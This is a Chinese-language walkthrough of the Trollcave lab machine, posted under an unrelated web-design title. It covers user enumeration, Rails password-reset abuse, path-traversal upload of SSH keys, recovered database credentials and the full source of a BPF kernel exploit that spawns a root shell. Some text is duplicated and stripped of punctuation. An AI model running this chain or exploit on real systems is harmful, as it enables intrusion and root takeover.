大连网站建设资讯做百度推广销售怎么样
- 作者: 五速梦信息网
- 时间: 2026年03月21日 11:30
当前位置: 首页 > news >正文
大连网站建设资讯,做百度推广销售怎么样,营销型网站是通过对网,营销型网站策划建设分为哪几个层次配置 第一步#xff1a;启动靶机时按下 shift 键#xff0c; 进入以下界面 第二步#xff1a;选择第二个选项#xff0c;然后按下 e 键#xff0c;进入编辑界面 将这里的ro修改为rw single init/bin/bash#xff0c;然后按ctrlx#xff0c;进入一个相当于控制台的界面…配置 第一步启动靶机时按下 shift 键 进入以下界面 第二步选择第二个选项然后按下 e 键进入编辑界面 将这里的ro修改为rw single init/bin/bash然后按ctrlx进入一个相当于控制台的界面里面可以执行命令 ip a 查看一下实际用的网卡这里是ens33 vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡如果不一致则将这两个都改成 ens33 按下 i 即可进入编辑模式 /etc/init.d/networking restart 重启网卡服务 渗透流程 一、信息收集 发现ip netdiscover -i eth0 -r 192.168.16.0/24or nmap -sP 192.168.16.0/24获取到IP后收集详细信息 nmap -sV -sC -A 192.168.16.128开放端口80和22版本ubuntu 扫描目录 └─# gobuster dir -u http://192.168.16.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt收集网站用户名与角色信息 发现登录页面点击下面发现用户进行了更换更换是在上面得目录进行操作 尝试获取全部用户名自己编写脚本 获取整个网页 #coding:utf-8 import requests import re
假设id是一个变量用来构造请求的URL
def get_userinfo(id): # 发送HTTP GET请求并获取响应的文本内容 response requests.get(http://192.168.16.128/users/%s %id).textreturn responseprint(get_userinfo(1))配置该内容 h1Kings page/h1 b Superadmin /b 添加正则表达式匹配对应的内容 这里会用到 re 模块提供的一个函数为re.search。用于在字符串中搜索与正则表达式匹配的内容。它会在整个字符串中查找第一个匹配项并返回一个匹配对象。 #匹配内容 h1Kings page/h1usernamere.search(h1(.?)\s,response).group(1)#匹配内容 bSuperadmin/b levelre.search(\sb\s(.?)\s/b,response).group(1)#\s是换行符完整获取 #coding:utf-8 import requests import re
假设id是一个变量用来构造请求的URL
def get_userinfo(id): # 发送HTTP GET请求并获取响应的文本内容 response requests.get(http://192.168.16.128/users/%s %id).text#匹配内容 h1Kings page/h1usernamere.search(h1(.?)\s,response).group(1)levelre.search(\sb\s(.?)\s/b,response).group(1)return username,levelfor i in range(0,20):try:username,level(get_userinfo(i))print(username:level)except:NoneKing:Superadmin dave:Admin dragon:Admin coderguy:Admin cooldude89:Moderator Sir:Moderator Q:Moderator teflon:Moderator TheDankMan:Regular member artemus:Regular member MrPotatoHead:Regular member Ian:Regular member kev:Member notanother:Member anybodyhome:Member onlyme:Member xer:Member收集登录失败的提示 每个账号失败提示的都不一样 抓包获取登录面详细信息 看到有个·utf-8编码删除看看会不会出错 收集博客信息 1.发现该网站有部署密码重置功能 搜索发现rails是一个开发框架 直接去github上寻找源码 https://github.com/rails/rails 二、获取密码 尝试使用此路径登录password_resets 百度搜索发现 添加目录 192.168.16.128/password_resets/newx’e访问 成功出现修改密码页面 发现只能重置普通用户密码 改为重置xer用户密码 进入他给的重置用户连接 http://192.168.16.128/password_resets/edit.8QidiHVYZPZI8hN3uk4nzg?namexer更改自动登录成功 发现文件上传功能 上传报错404可能是权限不够 三、更换管理员用户传马 利用重置密码链接尝试修改用户名是否可以直接重置对应的密码。 http://192.168.16.128/password_resets/edit.SbA7EAliLdkfS-R03alnUg?nameKing成功进来 上传文件显示 File upload is currently disabled文件上载当前已禁用 在控制面板中开启 再次上传 打开连接得到路径 访问后门地址 http://192.168.16.128//uploads/King/x.php发现没有成功编译 因为支持php编译 四、漏洞利用 1.任意位置文件上传利用 会发现位置来到了上级目录 尝试将文件上传到coderguy用户家目录下错误可能用户不存在或没有权限 想到目标网站是rails部署的运行web服务的用户会不会是rails呢 尝试目录更换 ../../../../../../home/rails/xx.gif2.ssh公钥免密利用 利用工具 ssh-keygen -f Identity ssh-keygen的使用方法 https://blog.csdn.net/qq_38570571/article/details/79268426 创建公钥 ssh-keygen -f Identity公钥创建成功 将Identity.pub重命名为authorized_keys authorized_keys 是linux 操作系统下专门用来存放公钥的地方只要公钥放到了服务器的正确位置并且拥有正确的权限你才可以通过你的私钥免密登录linux服务器完成后上传到上传到/home/rails/.ssh/ ../../../../../../home/rails/authorized_keys3.shell连接 ssh -i Identity rails192.168.16.128权限为普通用户 五、提权 1.查看etc/passwd 2.查看本地开启的服务 netstat -pant3.尝试去目录获取数据库账号密码 cd /var/www/trollcave/configcat database.yml得到密码和账号 adapter: postgresql database: trollcave username: tc password: sowvillagedinnermoment这里连接失败原因不知道 4.查看sqllit3数据库 sqlite3 /var/www/trollcave/db/development.sqlite3 select * from users;内核提权 已知服务器内核版本Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64) 存在提权漏洞 poc地址https://www.exploit-db.com/exploits/44298 /** Ubuntu 16.04.4 kernel priv esc** all credits to bleidl* - vnik*/// Tested on: // 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 // if different kernel adjust CRED offset check kernel stack size #include stdio.h #include stdlib.h #include unistd.h #include errno.h #include fcntl.h #include string.h #include linux/bpf.h #include linux/unistd.h #include sys/mman.h #include sys/types.h #include sys/socket.h #include sys/un.h #include sys/stat.h #include stdint.h#define PHYS_OFFSET 0xffff880000000000 #define CRED_OFFSET 0x5f8 #define UID_OFFSET 4 #define LOG_BUF_SIZE 65536 #define PROGSIZE 328int sockets[2]; int mapfd, progfd;char *prog \xb4\x09\x00\x00\xff\xff\xff\xff\x55\x09\x02\x00\xff\xff\xff\xff\xb7\x00\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x18\x19\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbf\x91\x00\x00\x00\x00\x00\x00\xbf\xa2\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\xfc\xff\xff\xff\x62\x0a\xfc\xff\x00\x00\x00\x00\x85\x00\x00\x00\x01\x00\x00\x00\x55\x00\x01\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x79\x06\x00\x00\x00\x00\x00\x00\xbf\x91\x00\x00\x00\x00\x00\x00\xbf\xa2\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\xfc\xff\xff\xff\x62\x0a\xfc\xff\x01\x00\x00\x00\x85\x00\x00\x00\x01\x00\x00\x00\x55\x00\x01\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x79\x07\x00\x00\x00\x00\x00\x00\xbf\x91\x00\x00\x00\x00\x00\x00\xbf\xa2\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\xfc\xff\xff\xff\x62\x0a\xfc\xff\x02\x00\x00\x00\x85\x00\x00\x00\x01\x00\x00\x00\x55\x00\x01\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x79\x08\x00\x00\x00\x00\x00\x00\xbf\x02\x00\x00\x00\x00\x00\x00\xb7\x00\x00\x00\x00\x00\x00\x00\x55\x06\x03\x00\x00\x00\x00\x00\x79\x73\x00\x00\x00\x00\x00\x00\x7b\x32\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x55\x06\x02\x00\x01\x00\x00\x00\x7b\xa2\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x7b\x87\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00;char bpf_log_buf[LOG_BUF_SIZE];static int bpf_prog_load(enum bpf_prog_type prog_type,const struct bpf_insn *insns, int prog_len,const char *license, int kern_version) {union bpf_attr attr {.prog_type prog_type,.insns (u64)insns,.insn_cnt prog_len / sizeof(struct bpf_insn),.license (u64)license,.log_buf (u64)bpf_log_buf,.log_size LOG_BUF_SIZE,.log_level 1,};attr.kern_version kern_version;bpf_log_buf[0] 0;return syscall(NR_bpf, BPF_PROG_LOAD, attr, sizeof(attr)); }static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,int max_entries) {union bpf_attr attr {.map_type map_type,.key_size key_size,.value_size value_size,.max_entries max_entries};return syscall(NR_bpf, BPF_MAP_CREATE, attr, sizeof(attr)); }static int bpf_update_elem(uint64_t key, uint64_t value) {union bpf_attr attr {.map_fd mapfd,.key (u64)key,.value (u64)value,.flags 0,};return syscall(NR_bpf, BPF_MAP_UPDATE_ELEM, attr, sizeof(attr)); }static int bpf_lookup_elem(void *key, void *value) {union bpf_attr attr {.map_fd mapfd,.key (u64)key,.value (u64)value,};return syscall(NR_bpf, BPF_MAP_LOOKUP_ELEM, attr, sizeof(attr)); }static void exit(char *err) {fprintf(stderr, error: %s\n, err);exit(-1); }static void prep(void) {mapfd bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);if (mapfd 0)exit(strerror(errno));progfd bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,(struct bpf_insn *)prog, PROGSIZE, GPL, 0);if (progfd 0)exit(strerror(errno));if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))exit(strerror(errno));if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, progfd, sizeof(progfd)) 0)exit(strerror(errno)); }static void writemsg(void) {char buffer[64];ssize_t n write(sockets[0], buffer, sizeof(buffer));if (n 0) {perror(write);return;}if (n ! sizeof(buffer))fprintf(stderr, short write: %lu\n, n); }#define update_elem(a, b, c) \bpf_update_elem(0, (a)); \bpf_update_elem(1, (b)); \bpf_update_elem(2, ©); \writemsg();static uint64_t get_value(int key) {uint64_t value;if (bpf_lookup_elem(key, value))exit(strerror(errno));return value; }static uint64_t get_fp(void) {update_elem(1, 0, 0);return get_value(2); }static uint64_t read(uint64_t addr) {update_elem(0, addr, 0);return get_value(2); }static void write(uint64_t addr, uint64_t val) {update_elem(2, addr, val); }static uint64_t get_sp(uint64_t addr) {return addr ~(0x4000 - 1); }static void pwn(void) {uint64_t fp, sp, task_struct, credptr, uidptr;fp get_fp();if (fp PHYS_OFFSET)exit(bogus fp);sp get_sp(fp);if (sp PHYS_OFFSET)__exit(bogus sp);task_struct read(sp);if (task_struct PHYS_OFFSET)exit(bogus task ptr);printf(task_struct %lx\n, task_struct);credptr read(task_struct CRED_OFFSET); // credif (credptr PHYS_OFFSET)exit(bogus cred ptr);uidptr credptr UID_OFFSET; // uidif (uidptr PHYS_OFFSET)exit(bogus uid ptr);printf(uidptr %lx\n, uidptr);write(uidptr, 0); // set both uid and gid to 0if (getuid() 0) {printf(spawning root shell\n);system(/bin/bash);exit(0);}__exit(not vulnerable?); }int main(int argc, char **argv) {prep();pwn();return 0; } 编译exp
由于目标主机上没有gcc环境在kali中编译
gcc -c pwn.c -o pwn 利用ssh上传exp到目标主机 scp -i Identity pwn rails192.168.16.128:/home/rails/目标主机上提权 添加可执行权限 chmod x pwn运行提权成功 D_OFFSET); // cred if (credptr PHYS_OFFSET)exit(bogus cred ptr);uidptr credptr UID_OFFSET; // uid if (uidptr PHYS_OFFSET)exit(bogus uid ptr);printf(uidptr %lx\n, uidptr); write(uidptr, 0); // set both uid and gid to 0if (getuid() 0) {printf(spawning root shell\n);system(/bin/bash);exit(0); }exit(not vulnerable?);} int main(int argc, char **argv) { prep(); pwn(); return 0;} ### 编译expsh
由于目标主机上没有gcc环境在kali中编译
gcc -c pwn.c -o pwn 利用ssh上传exp到目标主机 scp -i Identity pwn rails192.168.16.128:/home/rails/目标主机上提权 添加可执行权限 chmod x pwn运行提权成功
- 上一篇: 大连网站建设在线南京网站开发价格
- 下一篇: 大连网站开发公司排名陇城科技网站建设
相关文章
-
大连网站建设在线南京网站开发价格
大连网站建设在线南京网站开发价格
- 技术栈
- 2026年03月21日
-
大连网站建设运营四川省建筑市场管理平台
大连网站建设运营四川省建筑市场管理平台
- 技术栈
- 2026年03月21日
-
大连网站建设意动科技公司docker.io wordpress
大连网站建设意动科技公司docker.io wordpress
- 技术栈
- 2026年03月21日
-
大连网站开发公司排名陇城科技网站建设
大连网站开发公司排名陇城科技网站建设
- 技术栈
- 2026年03月21日
-
大连网站开发需要多少钱正规男科医院
大连网站开发需要多少钱正规男科医院
- 技术栈
- 2026年03月21日
-
大连网站排名推广阎良网站建设
大连网站排名推广阎良网站建设
- 技术栈
- 2026年03月21日






